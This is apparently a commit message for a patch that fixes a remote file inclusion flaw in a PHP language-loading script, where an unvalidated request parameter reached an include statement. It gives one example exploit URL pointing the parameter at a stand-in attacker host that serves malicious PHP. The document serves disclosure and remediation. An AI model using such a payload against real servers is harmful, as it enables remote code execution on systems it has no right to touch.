Fix Remote File Inclusion Vulnerability

`$_REQUEST['l']` allows any value so a malicious value inserted into `include "$lang_cmp/lang.php";` will allow an attacker to run arbitrary PHP code on server. For example `http://si_domain.com/lang/lang_insert.php?l=http://attacker.com` where in their domain root they have a file called `lang.php` with whatever code they want. I removed trim() as it's not needed due to the strict validation.